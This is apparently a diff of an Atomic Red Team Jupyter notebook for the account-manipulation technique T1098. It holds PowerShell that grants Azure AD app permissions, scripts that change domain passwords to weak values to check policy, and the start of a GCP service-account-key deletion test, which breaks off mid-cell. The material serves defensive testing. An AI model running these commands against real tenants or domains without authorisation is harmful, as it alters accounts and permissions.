1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "32d6eee3", + "id": "a74f124a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d0011dc9", + "id": "32c9a1c9", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"test_app\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication | Where-Object {$_.DisplayName -eq \"test_app\"}\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -All $true | Where-Object {$_.DisplayName -eq \"Microsoft Graph\"}\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('DirectoryRecommendations.Read.All')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -All $true | Where-Object {$_.AppId -eq $aadApplication.AppId}\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\n```" + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"test_app\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication -Filter \"DisplayName eq 'test_app'\"\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('DirectoryRecommendations.Read.All')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "20f8b92a", + "id": "6f735ae5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "a5f017ac", + "id": "c1169210", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = Get-AzureADApplication | Where-Object {$_.DisplayName -eq \"test_app\"}\nRemove-AzureADApplication -ObjectId $aadApplication.ObjectId\n```" + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = @(Get-AzureADApplication -Filter \"DisplayName eq 'test_app'\")\nIf ($aadApplication.Count -eq 0)\n{\n Write-Host \"App not found: cannot delete it\"\n exit\n}\nElseIf ($aadApplication.Count -gt 1)\n{\n Write-Host \"Found several app with name 'test_app': one is likely the one this technique created, but as a precaution, none will be deleted. Manual cleanup is required.\"\n exit\n}\nElse\n{\n Remove-AzureADApplication -ObjectId $aadApplication[0].ObjectId\n Write-Host \"Successfully deleted app\"\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "68f000ac", + "id": "63c5718a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "0eaf1486", + "id": "0cbc76da", "metadata": {}, "source": [ "### Atomic Test #9 - Password Change on Directory Service Restore Mode (DSRM) Account", @@ -378,20 +378,282 @@ { "cell_type": "code", "execution_count": null, - "id": "435ff5ba", + "id": "e9864110", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "7afe34a3", + "id": "3a97757e", + "metadata": {}, + "source": "### Atomic Test #10 - Domain Password Policy Check: Short Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3fd67210", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "db069bd0", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"Uplow-1\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString Uplow-1 -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to Uplow-1\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"Uplow-1\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "942e9c82", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "79f97eae", + "metadata": {}, + "source": "### Atomic Test #11 - Domain Password Policy Check: No Number in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "deb19164", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 11 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f5a47c4e", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"UpperLowerLong-special\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString UpperLowerLong-special -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to UpperLowerLong-special\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"UpperLowerLong-special\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "772b2b00", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "5adb9365", + "metadata": {}, + "source": "### Atomic Test #12 - Domain Password Policy Check: No Special Character in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e3120c39", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 12 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d7578f79", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"UpperLowerLong333noSpecialChar\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString UpperLowerLong333noSpecialChar -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to UpperLowerLong333noSpecialChar\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"UpperLowerLong333noSpecialChar\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cf0fa53a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "c9074ae9", + "metadata": {}, + "source": "### Atomic Test #13 - Domain Password Policy Check: No Uppercase Character in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2146ee2c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 13 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "dcfcd05f", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"lower-long-special-333\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString lower-long-special-333 -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to lower-long-special-333\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"lower-long-special-333\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f8620a6c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 13" + }, + { + "cell_type": "markdown", + "id": "1f113086", + "metadata": {}, + "source": "### Atomic Test #14 - Domain Password Policy Check: No Lowercase Character in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "752400c5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 14 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f87566b7", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"UPPER-LONG-SPECIAL-333\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString UPPER-LONG-SPECIAL-333 -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to UPPER-LONG-SPECIAL-333\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"UPPER-LONG-SPECIAL-333\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f014d325", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 14" + }, + { + "cell_type": "markdown", + "id": "0ab3a355", + "metadata": {}, + "source": "### Atomic Test #15 - Domain Password Policy Check: Only Two Character Classes\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d1b16308", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 15 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "db745db2", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"onlyUPandLowChars\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString onlyUPandLowChars -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to onlyUPandLowChars\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"onlyUPandLowChars\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1ade46da", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 15" + }, + { + "cell_type": "markdown", + "id": "0bfe0f55", + "metadata": {}, + "source": "### Atomic Test #16 - Domain Password Policy Check: Common Password Use\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58be5a4a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 16 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "039a4b36", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"Spring$((Get-Date).Year)!\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString Spring$((Get-Date).Year)! -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to Spring$((Get-Date).Year)!\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"Spring$((Get-Date).Year)!\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "694cc36b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 16" + }, + { + "cell_type": "markdown", + "id": "2663b747", + "metadata": {}, + "source": "### Atomic Test #17 - GCP - Delete Service Account Key\nThis Atomic will: \n - Create a service account\n - Create a service account key, \n - Store the result of retrieving a single key for that service account as a variable\n - Pass that variable for deletion\n - Delete the service account\n\nThe idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).\nEach service account is associated with two sets of public/private RSA key pairs that are used to authenticate. \nIf a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly.\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```sh\nterraform version\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the terraform.\n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```sh\nstat \"$PathToAtomicsFolder/T1098/src/T1098-17/terraform.tfstate\"\n\n```\n##### Get Prereq Commands:\n```sh\ncd \"$PathToAtomicsFolder/T1098/src/T1098-17/\"\nterraform init\nterraform apply -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9cb215aa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 17 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "e000d78a", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + 